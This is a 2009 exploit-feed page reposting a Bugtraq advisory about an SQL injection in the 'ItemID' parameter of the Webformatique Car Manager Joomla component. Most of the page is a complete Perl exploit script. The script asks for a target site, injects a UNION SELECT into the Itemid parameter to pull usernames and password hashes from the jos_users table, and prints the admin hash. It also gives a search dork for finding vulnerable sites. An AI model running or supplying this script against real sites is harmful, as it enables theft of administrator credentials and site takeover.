No account yet?
Home » Exploits » Webformatique Car Manager Joomla! Component 'ItemID' Parameter SQL Injection Vulnerability
Webformatique Car Manager Joomla! Component 'ItemID' Parameter SQL Injection Vulnerability E-mail
Feeds - Exploits
Written by ByALBAYX   
Tuesday, 10 March 2009 20:08
Webformatique Car Manager Joomla! Component 'ItemID' Parameter SQL Injection Vulnerability


-\\Bugtraq ID:
33978

-\\Class:
Input Validation Error

-\\CVE:


-\\Remote:
Yes

-\\Local:
No

-\\Published:
Mar 04 2009 12:00AM

-\\Updated:
Mar 10 2009 03:56PM

-\\Credit:
ByALBAYX



-\\Vulnerable:
webformatique Car Manager 2.1



-\\Discussion
The Webformatique Car Manager component for Joomla! and Mambo is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Car Manager 2.1.0 is vulnerable; other versions may also be affected.

Update (March 10th, 2009): The vendor states that the application is not vulnerable.



-\\Exploit(s)/PoC(s):
Attackers can use a browser to exploit this issue.

The following exploit is available:

===============================================================
33978.pl
^^^^^^^^^
#!/usr/bin/perl -w
 


###############################################
#[~] Author         :ByALBAYX                 #
#                                             #
#[~] Web Site       :WWW.C4TEAM.ORG           #
#                                             #
#[~] Component_Name :Car Manager 2.x          #
#                                             #
#[~] Script_Name    :Joomla                   #
#                                             #
#[~] Dork           :Com_carman   vs.. vs..   #
#                                             #
#[~] S.Site         :http://webformatique.com #     
#                                             #     
###############################################

 
 
system("color f");
print "\t\t-------------------------------------------------------------\n\n";
print "\t\t|||                        C4 TEAM                         |||\n\n";
print "\t\t-------------------------------------------------------------\n\n";
print "\t\t|||          Car Manager 2.x  Remote SQL Inj Vuln          |||\n\n";
print "\t\t|||       BYALBAYX     WWWW.C4TEAM.ORG     BYALBAYX        |||\n\n";
print "\t\t-------------------------------------------------------------\n\n";
 
use LWP::UserAgent;
 
print "\n[http://wwww.example.com/path/]: ";
 chomp(my $target=<STDIN>);
 
$column_name="concat(username,0x3a,password)";
$table_name="jos_users";
 
$b = LWP::UserAgent->new() or die "Could not initialize browser\n";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
 
$host = $target .   "/index.php?option=com_carman&task=listall&lang=en&Itemid=1+union+select+1,".$column_name."+from/**/".$table_name."--";
$res = $b->request(HTTP::Request->new(GET=>$host));$answer = $res->content; if ($answer =~/([0-9a-fA-F]{32})/){
  print "\n[+] Admin Hash : $1\n\n";
  print "#   Tebrikler Exploit Calisti!  #\n\n";
}
else{print "\n[-] Exploit Calismadi...\n";
}






-\\Solution
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: This e-mail address is being protected from spambots. You need JavaScript enabled to view it .



-\\References(s)
--Vendor Homepage
http://www.webformatique.net  (webformatique)
 

Security Services by HSC